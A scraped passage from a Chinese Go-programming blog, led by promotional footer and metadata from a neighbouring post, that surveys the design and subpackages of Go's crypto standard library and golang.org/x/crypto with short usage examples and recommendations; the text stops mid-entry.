Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/24/cognitive-load-impact-on-programming-language-choice-and-study/","summary":"\u003ch1 id=\"认知负荷对编程语言选择和学习的影响--tony-bai\"\u003e认知负荷对编程语言选择和学习的影响 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"认知负荷对编程语言选择和学习的影响\"\u003e认知负荷对编程语言选择和学习的影响\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 24, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/24/cognitive-load-impact-on-programming-language-choice-and-study/#respond\" title=\"《认知负荷对编程语言选择和学习的影响》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 31\" loading=\"lazy\" src=\"/images/wp-content/uploads/cognitive-load-impact-on-programming-language-choice-and-study-1.png\"\u003e\u003c/p\u003e","title":"认知负荷对编程语言选择和学习的影响"},{"content":"\n本文永久链接 – https://tonybai.com/2024/10/19/go-crypto-package-design-deep-dive\nGo号称“开箱即用”，这与其标准库的丰富功能和高质量是分不开的。而在Go标准库中，crypto库(包括crypto包、crypto目录下相关包以及golang.org/x/crypto下的补充包)又是Go社区最值得称道的Go库之一。\ncrypto库由Go核心团队维护，确保了最高级别的安全标准和及时的漏洞修复，为开发者提供了可靠的安全保障。crypto还涵盖了从基础的对称加密到复杂的非对称加密，以及各种哈希函数和数字签名算法等广泛的加解密算法支持，以满足Go开发者的各种需求为目的，而不是与其他密码学工具包竞争。此外，crypto库还经过精心优化，能够在不同硬件平台上尽可能地保证高效的执行性能。值得一提的是，crypto库还提供了统一的API设计，使得不同加密算法的使用方式保持一致，也降低了开发者的学习成本。\n可以说Go crypto库是Go生态中密码学功能的核心，它为Go开发者提供了一套全面、安全、保持现代化、提供安全默认值且易于使用的密码学工具，使得在Go应用程序中实现各种密码学功能需求时变得简单而可靠。\n不过要理解并得心应手的使用crypto库中的相关密码学包仍然并非易事，这是因为密码学涉及数学、密码分析、计算机安全等多个学科，概念多，算法也十分复杂，而大多程序员对密码学的了解又多停留在使用层面，缺乏对其原理和底层机制的深入认知，甚至连每个包的用途都不甚了解。这导致很多开发者浏览了crypto相关包之后，甚至不知道该使用哪个包。\n所以在这篇文章中，我想为Go开发者建立一张crypto库的“地图”，这张“地图”将帮助我们从宏观角度理解crypto库的结构，帮助大家快速精准选择正确的包。并且通过对crypto相关包设计的理解，轻松掌握crypto相关包的使用模式。\n注：Go标准库crypto库的第一任负责人是Adam Langley(agl)，他开创了Go crypto库，他在招募和培养了Filippo Valsorda后离开了Go项目，后者成为了Go crypto的负责人。Filippo在Go项目工作若干年后，把负责人交给了Roland Shoemaker，即现任Go团队安全组的负责人。当然Shoemaker也是Filippo招募到Go团队中的。\n下面我们首先来看看Go crypto库的“整体架构”。\n1. 标准库crypto与golang.org/x/crypto Go的密码学功能(即我们统一称的crypto库)分为两个主要部分：标准库的crypto相关包和扩展库golang.org/x/crypto。这种分离设计有其特定的目的和优势：\nGo标准库的crypto相关包，包含了最基础、最稳定和使用最广泛的密码学算法。这些算法实现经过Go团队的严格审查，保证了长期稳定性和向后兼容性。同时，这些包是随Go安装包分发的，使用时再无需引入额外的依赖。\n而golang.org/x/crypto则号称是Go标准库crypto相关包的补充库，虽然它同样由Go团队维护，但由于不是标准库，它可以包含更多实验性或较新的密码学算法及实现，并可以更快速的迭代和更新。这样它也可以成为Go标准库中一些crypto相关包的“孵化器”，就像当年golang.org/x/net/context提升为标准库context一样。\n同时golang.org/x/crypto也是Go标准库依赖的为数极少的外部包之一。比如，下面是Go 1.23.0标准库go.mod文件的内容：\nmodule std go 1.23 require ( golang.org/x/crypto v0.23.1-0.20240603234054-0b431c7de36a golang.org/x/net v0.25.1-0.20240603202750-6249541f2a6c ) require ( golang.org/x/sys v0.22.0 // indirect golang.org/x/text v0.16.0 // indirect ) 我们看到Go标准库依赖特定版本的golang.org/x/crypto模块。\n与标准库不同的是，如果你要使用golang.org/x/crypto模块中的密码学包，你就需要单独引入项目依赖。此外，golang.org/x 下的包通常被视为实验性或扩展包，因此它们并不严格遵循Go1兼容性承诺。换句话说，这些包在API稳定性上没有与标准库相同的保证，可能会有非向后兼容的更改。\n综上，我们看到Go标准库crypto与golang.org/x/crypto的这种分离策略，允许Go团队在保持标准库稳定性的同时，也能够灵活地引入新的密码学算法和技术。\n接下来，我们来看看crypto库的整体结构设计原则，这些原则对理解整个crypto库大有裨益。\n2. 整体结构设计原则 Go的crypto库整体上的结构设计遵循了几个原则：\n2.1 统一接口和类型抽象 首先是统一接口和类型抽象，这在最顶层的crypto包中就能充分体现。\ncrypto包定义了一个Hash类型和一个创建具体哈希实现的方法。这个设计允许统一管理不同的哈希算法，同时保持了良好的可扩展性：\n// $GOROOT/src/crypto/crypto.go type Hash uint // New returns a new hash.Hash calculating the given hash function. New panics // if the hash function is not linked into the binary. func (h Hash) New() hash.Hash { if h \u0026gt; 0 \u0026amp;\u0026amp; h \u0026lt; maxHash { f := hashes[h] if f != nil { return f() } } panic(\u0026#34;crypto: requested hash function #\u0026#34; + strconv.Itoa(int(h)) + \u0026#34; is unavailable\u0026#34;) } // HashFunc simply returns the value of h so that [Hash] implements [SignerOpts]. func (h Hash) HashFunc() Hash { return h } // RegisterHash registers a function that returns a new instance of the given // hash function. This is intended to be called from the init function in // packages that implement hash functions. func RegisterHash(h Hash, f func() hash.Hash) { if h \u0026gt;= maxHash { panic(\u0026#34;crypto: RegisterHash of unknown hash function\u0026#34;) } hashes[h] = f } var hashes = make([]func() hash.Hash, maxHash) Hash类型作为一个统一的标识符，用于表示不同的哈希算法。New方法则“像一个工厂方法”，用于创建具体的哈希实现。新的哈希算法可以很容易地添加到这个系统中，只需定义一个新的常量并提供相应的实现，并将实现通过RegisterHash注册到hashes中即可。下面是一个使用sha256算法的示例(仅做演示，并非惯例写法)：\npackage main import ( \u0026#34;crypto\u0026#34; _ \u0026#34;crypto/sha256\u0026#34; // register h256 to hashes ) func main() { ht := crypto.SHA256 h := ht.New() h.Write([]byte(\u0026#34;hello world\u0026#34;)) sum := h.Sum(nil) println(sum) } 注：也许是早期标准库的设计问题，hash接口目前没有放到crypto下面，而是在标准库顶层目录下。crypto库中的hash实现通过New方法返回真正的hash.Hash实现。\ncrypto包还定义了几个关键接口，这些接口被各个子包实现，从而实现了高度的可扩展性和互操作性，比如下面的Signer、SignerOpts、Decrypter接口：\n// Signer is an interface for an opaque private key that can be used for // signing operations. For example, an RSA key kept in a hardware module. type Signer interface { Public() PublicKey Sign(rand io.Reader, digest []byte, opts SignerOpts) (signature []byte, err error) } // SignerOpts contains options for signing with a [Signer]. type SignerOpts interface { HashFunc() Hash } // Decrypter is an interface for an opaque private key that can be used for // asymmetric decryption operations. An example would be an RSA key // kept in a hardware module. type Decrypter interface { Public() PublicKey Decrypt(rand io.Reader, msg []byte, opts DecrypterOpts) (plaintext []byte, err error) } 以Signer接口为例，这个Signer接口为不同的签名算法（如RSA、ECDSA、Ed25519等）提供了一个统一的抽象。下面是一个使用统一Signer接口但不同Signer实现的示例：\nfunc signData(signer crypto.Signer, data []byte) ([]byte, error) { hash := crypto.SHA256 h := hash.New() h.Write(data) digest := h.Sum(nil) return signer.Sign(rand.Reader, digest, hash) } func main() { rsaKey, _ := rsa.GenerateKey(rand.Reader, 2048) signature, _ := signData(rsaKey, []byte(\u0026#34;Hello, World!\u0026#34;)) println(signature) ecdsaKey, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) signature, _ = signData(ecdsaKey, []byte(\u0026#34;Hello, World!\u0026#34;)) println(signature) } 在这个例子中，我们看到了如何使用相同的signData函数来处理不同类型的签名算法，这体现了统一接口带来的灵活性和一致性。\n在crypto目录下的各个子包中，上述原则也有很好的体现，比如cipher包就定义了Block、Stream等接口，然后aes、des等对称加密包也都提供了创建实现了这些接口的类型的函数，比如aes.NewCipher以及des.NewCipher等。\n2.2 模块化 每个子包专注于特定的功能，这种模块化设计使得每个包都相对独立，便于维护和使用。以aes包和des包为例：\n// crypto/aes/cipher.go func NewCipher(key []byte) (cipher.Block, error) { // AES specific implementation } // crypto/des/cipher.go func NewCipher(key []byte) (cipher.Block, error) { // DES specific implementation } 这两个包都实现了相同的NewCipher函数，但内部实现完全不同，专注于各自的加密算法。\n2.3 易用性与灵活性的平衡 Go crypto库中的很多包既提供了可以满足大多数常见用例的需求、易用性很好的高级API，同时也提供了更灵活的低级API，允许开发者在需要时进行更精细的控制或自定义实现。\n让我们以SHA256哈希函数为例来说明这一点：\n// 高级API func highLevelAPI(data []byte) [32]byte { return sha256.Sum256(data) } // 低级API func lowLevelAPI(data []byte) [32]byte { h := sha256.New() h.Write(data) return *(*[32]byte)(h.Sum(nil)) } func main() { fmt.Println(lowLevelAPI([]byte(\u0026#34;hello world\u0026#34;))) fmt.Println(highLevelAPI([]byte(\u0026#34;hello world\u0026#34;))) } 在这个例子中，sha256.Sum256是高级API，而lowLevelAPI中使用的那套逻辑则是对低级API的组合以实现Sum256功能。\n2.4 可扩展性 基于“统一接口和类型抽象”原则设计的crypto库可以让用户轻松地集成自己的实现或第三方库，这种可扩展性便于我们添加新的算法或功能，而不影响现有结构。 比如，我们可以像这下面这样实现自定义的cipher.Block：\ntype MyCustomCipher struct { // ... } func (c *MyCustomCipher) BlockSize() int { // ... } func (c *MyCustomCipher) Encrypt(dst, src []byte) { // ... } func (c *MyCustomCipher) Decrypt(dst, src []byte) { // ... } 之后，这个自定义的cipher.Block实现便可以直接用在标准库提供的分组密码模式中。\n作为crypto库的扩展和实验库，golang.org/x/crypto也遵循了与标准库crypto相关包一致的设计原则，这里就不举例说明了。\n有了上述对crypto库的整体设计原则的认知后，我们再来看一下Go标准库crypto目录下的子包结构，了解了这个结果，你就会像拥有了crypto库的“导航”，可以顺利方便地找到你想要的密码学包了。\n3. 子包结构概览 众所周知，Go标准库crypto目录下不仅有crypto包，还有众多种类的密码学包，下面这张示意图对这些包进行了简单分类：\n下面我会按照图中的类别对各个包做简单介绍，包括功能、用途、简单的示例以及是否推荐使用。密码学一直在发展，很多算法因为不再“牢不可破”而逐渐不再被推荐使用。但Go为了保证Go1兼容性，这些包依赖留在了Go标准库中。\n我们自上而下，先从哈希函数开始。\n3.1 哈希函数 3.1.1 md5 功能：实现MD5哈希算法 用途：生成数据的128位哈希值 示例： import \u0026#34;crypto/md5\u0026#34; hash := md5.Sum([]byte(\u0026#34;hello world\u0026#34;)) 使用建议：不推荐用于安全相关用途，因为MD5已被证明不够安全。 3.1.2 sha1 功能：实现SHA-1哈希算法 用途：生成数据的160位哈希值 示例： import \u0026#34;crypto/sha1\u0026#34; hash := sha1.Sum([]byte(\u0026#34;hello world\u0026#34;)) 使用建议：不推荐用于安全相关用途，因为SHA-1已被证明存在碰撞风险。 3.1.3 sha256 功能：实现SHA-256哈希算法 用途：生成数据的256位哈希值 示例： import \u0026#34;crypto/sha256\u0026#34; hash := sha256.Sum256([]byte(\u0026#34;hello world\u0026#34;)) 使用建议：推荐使用，安全性高。 3.1.4 sha512 功能：实现SHA-512哈希算法 用途：生成数据的512位哈希值 示例： import \u0026#34;crypto/sha512\u0026#34; hash := sha512.Sum512([]byte(\u0026#34;hello world\u0026#34;)) 使用建议：推荐使用，安全性很高。 3.2 加密和解密 3.2.1 aes 功能：实现AES(Advanced Encryption Standard)对称加密算法 用途：数据对称加密和解密 示例： import \u0026#34;crypto/aes\u0026#34; key := []byte(\u0026#34;example key 1234\u0026#34;) // 16字节的key block, _ := aes.NewCipher(key) 使用建议：推荐使用，是目前最广泛使用的对称加密算法。 3.2.2 des 功能：实现DES(Data Encryption Standard)和Triple DES加密算法 用途：数据对称加密和解密 示例： import \u0026#34;crypto/des\u0026#34; key := []byte(\u0026#34;example!\u0026#34;) // 8字节的key block, _ := des.NewCipher(key) 使用建议：不推荐使用DES，密钥长度不足(DES使用56位密钥，实际上是64位，但其中8位是奇偶校验位，不用于加密)，容易被暴力破解。推荐使用AES；Triple DES在某些遗留系统中仍在使用。 3.2.3 rc4 功能：实现RC4(Rivest Cipher 4)流加密算法 用途：流数据的加密和解密 示例： import \u0026#34;crypto/rc4\u0026#34; key := []byte(\u0026#34;secret key\u0026#34;) cipher, _ := rc4.NewCipher(key) 使用建议：不推荐使用，因为RC4已被证明存在安全漏洞。由于这些已知的安全问题，RC4已经被许多现代加密协议和应用所弃用。例如，TLS（Transport Layer Security）协议已经移除了对RC4的支持。 3.2.4 cipher 功能：定义了块加密的通用接口 用途：为其他加密算法提供通用的加密和解密方法 示例： import \u0026#34;crypto/cipher\u0026#34; // 使用AES-GCM模式 block, _ := aes.NewCipher(key) aesgcm, _ := cipher.NewGCM(block) 使用建议：推荐使用，特别是GCM等认证加密模式。 3.3 签名和验证 3.3.1 dsa 功能：实现数字签名算法（DSA, Digital Signature Algorithm） 用途：生成和验证数字签名 示例： import \u0026#34;crypto/dsa\u0026#34; var privateKey dsa.PrivateKey dsa.GenerateKey(\u0026amp;privateKey, rand.Reader) 使用建议：目前的趋势是DSA在许多应用中不再被推荐使用。DSA的安全性高度依赖于密钥长度。随着计算能力的提升，较短的DSA密钥长度（例如1024位）已经不再被认为是安全的。NIST建议使用更长的密钥长度（例如2048位或更长），但这会增加计算复杂性和资源消耗。ECDSA使用椭圆曲线密码学，可以在更短的密钥长度下提供相同级别的安全性。 3.3.2 ecdsa 功能：实现椭圆曲线数字签名算法（ECDSA, Elliptic Curve Digital Signature Algorithm） 用途：生成和验证数字签名 示例： import \u0026#34;crypto/ecdsa\u0026#34; privateKey, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) 使用建议：强烈推荐使用，安全性高且效率好。 3.3.3 ed25519 功能：实现Ed25519签名算法(Edwards-curve Digital Signature Algorithm with Curve25519) 用途：生成和验证数字签名 示例： import \u0026#34;crypto/ed25519\u0026#34; publicKey, privateKey, _ := ed25519.GenerateKey(rand.Reader) 使用建议：强烈推荐使用，安全性高且性能优秀。Ed25519提供了比传统ECDSA更高的安全性和性能，同时减少了某些类型的实现风险。因此，在选择数字签名算法时，Ed25519是一个非常有吸引力的选项，尤其是在需要高性能和强安全保障的应用中。 3.3.4 rsa 功能：实现RSA(Rivest–Shamir–Adleman)加密和签名算法 用途：非对称加密、数字签名 示例： import \u0026#34;crypto/rsa\u0026#34; privateKey, _ := rsa.GenerateKey(rand.Reader, 2048) 使用建议：关于是否推荐使用RSA，这取决于具体的应用场景和安全需求。RSA在许多应用中仍然被广泛使用，尤其是在需要公钥加密和数字签名的场景。它是一个经过时间考验的算法，有着良好的安全记录。随着计算能力的提升，特别是量子计算的发展，RSA的安全性可能会受到威胁。此外，对于某些高性能或资源受限的环境，RSA可能不如其他算法（如椭圆曲线加密算法，如ECDSA或Ed25519）高效。尤其是签名，ECDSA或Ed25519可能是更好的选择。 3.4 密钥交换 3.4.1 ecdh 功能：实现椭圆曲线Diffie-Hellman密钥交换(Elliptic Curve Diffie-Hellman) 用途：安全地在不安全的通道上协商共享密钥 示例： import \u0026#34;crypto/ecdh\u0026#34; curve := ecdh.P256() privateKey, _ := curve.GenerateKey(rand.Reader) 使用建议：ECDH是一个强大且高效的密钥交换协议，在许多现代安全通信中被推荐使用，是现代密钥交换的首选方法。 3.5 安全随机数生成 3.5.1 rand 功能：提供加密安全的随机数生成器 用途：生成密钥、随机填充等 示例： import \u0026#34;crypto/rand\u0026#34; randomBytes := make([]byte, 32) rand.Read(randomBytes) 使用建议：强烈推荐使用，不要使用math/rand包(包括math/rand/v2)生成密码学相关的随机数(这些随机数是伪随机)。 3.6 证书和协议 3.6.1 tls 功能：实现传输层安全（TLS, Transport Layer Security）协议 用途：安全网络通信 示例： import \u0026#34;crypto/tls\u0026#34; config := \u0026amp;tls.Config{MinVersion: tls.VersionTLS12} 使用建议：强烈推荐使用，是保护网络通信的标准方法。 3.6.2 x509 功能：实现X.509公钥基础设施标准 用途：处理数字证书、证书签名请求（CSR）等 示例： import \u0026#34;crypto/x509\u0026#34; cert, _ := x509.ParseCertificate(certDER) 使用建议：推荐使用，是处理数字证书的标准方法。 3.7. 辅助功能 3.7.1 elliptic 功能：实现几个标准的椭圆曲线 用途：为ECDSA和ECDH提供基础 示例： import \u0026#34;crypto/elliptic\u0026#34; curve := elliptic.P256() 使用建议：推荐使用，但通常不直接使用，而是通过ecdsa或ecdh包间接使用。 3.7.2 hmac 功能：实现密钥散列消息认证码（HMAC, Hash-based Message Authentication Code） 用途：消息完整性验证 示例： import \u0026#34;crypto/hmac\u0026#34; h := hmac.New(sha256.New, []byte(\u0026#34;secret key\u0026#34;)) h.Write([]byte(\u0026#34;message\u0026#34;)) 使用建议：推荐使用，是保护数据完整性和消息认证的标准方法。 3.7.3 subtle 功能：提供一些用于实现加密功能的常用但容易出错的操作 用途：比较、常量时间操作等 示例： import \u0026#34;crypto/subtle\u0026#34; equal := subtle.ConstantTimeCompare([]byte(\u0026#34;a\u0026#34;), []byte(\u0026#34;b\u0026#34;)) 使用建议：推荐在需要时使用，有助于防止时序攻击。 结合上面两节，我们看到crypto库的内部依赖结构设计得非常巧妙，以最小化耦合。大多数子包依赖于crypto基础包中定义的接口和类型。crypto/subtle包提供了一些底层的辅助函数，被多个其他包使用。每个加密算法包（如crypto/aes，crypto/rsa）通常是独立的，减少了包间的直接依赖。一些高级功能包（如crypto/tls）会依赖多个基础算法包。大多数需要随机性的包都依赖crypto/rand作为安全随机源。\n此外，crypto库与其他Go标准库可紧密集成，包括：\n与io包集成：使用io.Reader和io.Writer接口，便于流式处理和与其他I/O操作集成。 与encoding相关包集成：比如与encoding/pem和encoding/asn1包配合，用于处理密钥和证书的编码。 与hash包集成：加密哈希函数实现了hash.Hash接口，保持一致性。 与net包集成：如crypto/tls包与net包紧密集成，提供安全的网络通信。 接下来，再来看看golang.org/x/crypto扩展库，我们同样借鉴上面的分类和介绍方法，看看crypto扩展库中都有哪些有价值的实用密码学包。\n4 golang.org/x/crypto扩展库 我们还是从哈希函数开始介绍。\n4.1 哈希函数 4.1.1 blake2b和blake2s 功能：实现BLAKE2b和BLAKE2s哈希函数。BLAKE2是一种加密哈希函数，由Jean-Philippe Aumasson、Samuel Neves、Zooko Wilcox-O’Hearn和Christian Winnerlein设计，旨在替代MD5和SHA-1等旧的哈希函数。BLAKE2有两种主要变体：BLAKE2b和BLAKE2s。 用途：生成高速、安全的哈希值。 示例： import \u0026#34;golang.org/x/crypto/blake2b\u0026#34; hash := blake2b.Sum256([]byte(\u0026#34;hello world\u0026#34;)) 使用建议：推荐使用，BLAKE2提供了比MD5和SHA-1更高的安全性，同时保持与SHA-2和SHA-3相当的强度，安全性高且速度快。 4.1.2 md4 功能：实现MD4(Message Digest Algorithm 4)哈希算法 用途：生成128位哈希值 示例： import \u0026#34;golang.org/x/crypto/md4\u0026#34; h := md4.New() h.Write([]byte(\u0026#34;hello world\u0026#34;)) hash := h.Sum(nil) 使用建议：不推荐用于安全相关用途，MD4已被证明不安全，容易受到碰撞攻击和其他类型的攻击。已经被更安全的哈希函数所取代，如SHA-2和SHA-3等。 4.1.3 ripemd160 功能：实现RIPEMD-160(RACE Integrity Primitives Evaluation Message Digest 160)哈希算法。 用途：生成160位哈希值 示例： import \u0026#34;golang.org/x/crypto/ripemd160\u0026#34; h := ripemd160.New() h.Write([]byte(\u0026#34;hello world\u0026#34;)) hash := h.Sum(nil) 使用建议：RIPEMD-160提供了比MD5和SHA-1更高的安全性，尽管它不像SHA-2和SHA-3那样被广泛研究和使用。但它仍然在某些特定场景（如比特币地址生成）中使用，但一般情况下推荐使用更现代的哈希函数(如SHA-256和SHA-512)。 4.1.4 sha3 功能：实现SHA-3(Secure Hash Algorithm 3)哈希算法族。SHA-3是由美国国家标准与技术研究院（NIST）在2015年发布的一种加密哈希函数，作为SHA-2的后继者。SHA-3的设计基于Keccak算法，由Guido Bertoni、Joan Daemen、Michaël Peeters和Gilles Van Assche开发。 用途：生成不同长度的哈希值。SHA-3包括多种变体，如SHA3-224、SHA3-256、SHA3-384和SHA3-512，分别生成224位、256位、384位和512位的哈希值。 示例： import \u0026#34;golang.org/x/crypto/sha3\u0026#34; hash := sha3.Sum256([]byte(\u0026#34;hello world\u0026#34;)) 使用建议：强烈推荐使用，是最新的NIST标准哈希函数。 4.2 加密和解密 4.2.1 blowfish 功能：实现Blowfish(设计者Bruce Schneier)加密算法 用途：数据的对称加密和解密 示例： import \u0026#34;golang.org/x/crypto/blowfish\u0026#34; cipher, _ := blowfish.NewCipher([]byte(\u0026#34;key\u0026#34;)) 使用建议：不推荐用于新系统，其密钥长度上限为448位，不如更现代的算法安全，建议使用AES。 4.2.2 cast5 功能：实现CAST5（又名CAST-128）加密算法 用途：数据对称加密和解密 示例： import \u0026#34;golang.org/x/crypto/cast5\u0026#34; cipher, _ := cast5.NewCipher([]byte(\u0026#34;16-byte key\u0026#34;)) 使用建议：不推荐用于新系统，建议使用AES。 4.2.3 chacha20 功能：实现ChaCha20流加密算法(ChaCha20 stream cipher) 用途：流数据的对称加密和解密 示例： import \u0026#34;golang.org/x/crypto/chacha20\u0026#34; cipher, _ := chacha20.NewUnauthenticatedCipher(key, nonce) 使用建议：推荐使用，特别是在移动设备上性能优于AES。它被广泛用于各种安全协议和应用中，包括TLS（Transport Layer Security）、SSH（Secure Shell）和QUIC（Quick UDP Internet Connections）等。 4.2.4 salsa20 功能：实现Salsa20流加密算法(Salsa20 stream cipher) 用途：流数据的对称加密和解密 示例： import \u0026#34;golang.org/x/crypto/salsa20\u0026#34; salsa20.XORKeyStream(dst, src, nonce, key) 使用建议：推荐使用，但ChaCha20可能因其性能优势和更广泛的标准支持而成为更受欢迎的选择。 4.2.4 tea 功能：实现TEA（Tiny Encryption Algorithm）加密算法 用途：轻量级数据加密 示例： import \u0026#34;golang.org/x/crypto/tea\u0026#34; cipher, _ := tea.NewCipher([]byte(\u0026#34;16-byte key\u0026#34;)) 使用建议：尽管TEA算法在过去被认为是安全的，但它已经出现了一些已知的安全漏洞，如密钥相关攻击和差分攻击。因此，TEA算法可能不适合需要高安全性的应用。不推荐将它用于新系统，建议使用AES。 4.2.5 twofish 功能：实现Twofish(Twofish block cipher)加密算法 用途：数据对称加密和解密 示例： import \u0026#34;golang.org/x/crypto/twofish\u0026#34; cipher, _ := twofish.NewCipher([]byte(\u0026#34;16, 24, or 32 byte key\u0026#34;)) 使用建议：不推荐将它用于新系统，建议使用AES。 4.2.6 xtea 功能：实现XTEA(eXtended Tiny Encryption Algorithm)加密算法 用途：轻量级对称数据加密 示例： import \u0026#34;golang.org/x/crypto/xtea\u0026#34; cipher, _ := xtea.NewCipher([]byte(\u0026#34;16-byte key\u0026#34;)) 使用建议：尽管XTEA修复了TEA的一些安全漏洞，但它仍然可能存在其他安全问题，特别是在面对现代计算能力和攻击技术时。因此，不推荐用于新系统，建议使用AES。 4.2.7 xts 功能：实现XTS (XEX-based tweaked-codebook mode with ciphertext stealing) 模式 用途：是一种块加密的标准操作模式，主要用于全磁盘加密 示例： import \u0026#34;golang.org/x/crypto/xts\u0026#34; cipher, _ := xts.NewCipher(aes.NewCipher, []byte(\u0026#34;32-byte key\u0026#34;)) 使用建议：在全磁盘加密场景，即需要对存储设备进行加密的应用中推荐使用。 4.3 认证加密 4.3.1 chacha20poly1305 功能：实现ChaCha20-Poly1305(ChaCha20流加密算法和Poly1305消息认证码) AEAD（认证加密与关联数据）。 用途：提供加密和认证的组合 示例： import \u0026#34;golang.org/x/crypto/chacha20poly1305\u0026#34; aead, _ := chacha20poly1305.New(key) 使用建议：ChaCha20-Poly1305是一个高效且安全的组合加密算法，在许多现代安全应用中被推荐使用。这里也强烈推荐使用，提供了高安全性和高性能。 4.4 密钥派生和密码哈希 4.4.1 argon2 功能：实现Argon2(Argon2 memory-hard key derivation function)密码哈希算法 用途：安全地存储密码 示例： import \u0026#34;golang.org/x/crypto/argon2\u0026#34; hash := argon2.IDKey([]byte(\u0026#34;password\u0026#34;), salt, 1, 64*1024, 4, 32) 使用建议：强烈推荐使用，是最新的密码哈希标准。 4.4.2 bcrypt 功能：实现bcrypt(Blowfish-based password hashing function)密码哈希算法 用途：安全地存储密码 示例： import \u0026#34;golang.org/x/crypto/bcrypt\u0026#34; hash, _ := bcrypt.GenerateFromPassword([]byte(\u0026#34;password\u0026#34;), bcrypt.DefaultCost) 使用建议：推荐使用，广泛应用于密码存储。 4.4.3 hkdf 功能：实现HMAC-based Key Derivation Function (HKDF) 用途：HKDF是基于HMAC（Hash-based Message Authentication Code）的一种变体，专门用于从较短的输入密钥材料（如共享密钥或密码）派生出更长的、安全的密钥。 示例： import \u0026#34;golang.org/x/crypto/hkdf\u0026#34; hkdf := hkdf.New(sha256.New, secret, salt, info) 使用建议：推荐使用，是标准的密钥派生函数。 4.4.4 pbkdf2 功能：实现PBKDF2（Password-Based Key Derivation Function 2, 基于密码的密钥派生函数2） 用途：从密码派生密钥 示例： import \u0026#34;golang.org/x/crypto/pbkdf2\u0026#34; dk := pbkdf2.Key([]byte(\u0026#34;password\u0026#34;), salt, 4096, 32, sha1.New) 使用建议：对于需要高安全性和抵抗暴力破解攻击的应用，PBKDF2是一个很好的选择。然而，对于更现代的应用，特别是那些对安全性有极高要求的应用，可能更推荐使用更现代的密码哈希算法，如Argon2。 4.4.5 scrypt 功能：实现scrypt(Scrypt key derivation function)密钥派生函数 用途：从密码派生密钥，特别适合抵抗硬件暴力破解 示例： import \u0026#34;golang.org/x/crypto/scrypt\u0026#34; dk, _ := scrypt.Key([]byte(\u0026#34;password\u0026#34;), salt, 32768, 8, 1, 32) 使用建议：推荐使用，特别是在需要抵抗硬件攻击或并行计算攻击的场景。 4.5 公钥密码学 4.5.1 bn256 功能：实现256位Barreto-Naehrig曲线 用途：支持双线性对运算，用于某些高级密码协议 示例： import \u0026#34;golang.org/x/crypto/bn256\u0026#34; g1 := new(bn256.G1).ScalarBaseMult(k) 使用建议：该包已作废并冻结，不推荐使用。github.com/cloudflare/bn256有更完整的实现，但对于新的应用，特别是那些对安全性有极高要求的应用，不推荐使用bn256。 4.5.2 nacl 功能：提供NaCl（Networking and Cryptography library）的Go实现 用途：NaCl主要用于需要高效加密和安全通信的应用。它提供了各种加密原语，包括对称加密、公钥加密、哈希函数、消息认证码（MAC）和密钥协商协议等。 示例： import \u0026#34;golang.org/x/crypto/nacl/box\u0026#34; publicKey, privateKey, _ := box.GenerateKey(rand.Reader) 使用建议：推荐使用，提供了易用的高级加密接口 4.6 协议和标准 4.6.1 acme 功能：实现ACME（Automatic Certificate Management Environment）协议，该协议旨在自动化证书的颁发、更新和管理。它允许服务器自动请求和接收TLS/SSL证书，而无需人工干预。 用途：自动化证书管理，如Let’s Encrypt 示例：使用较复杂，通常通过更高级的库如golang.org/x/crypto/acme/autocert使用，鉴于篇幅，这里就不贴代码了。 使用建议：在需要自动化证书管理的场景中推荐使用 4.6.2 ocsp 功能：实现在线证书状态协议（OCSP, Online Certificate Status 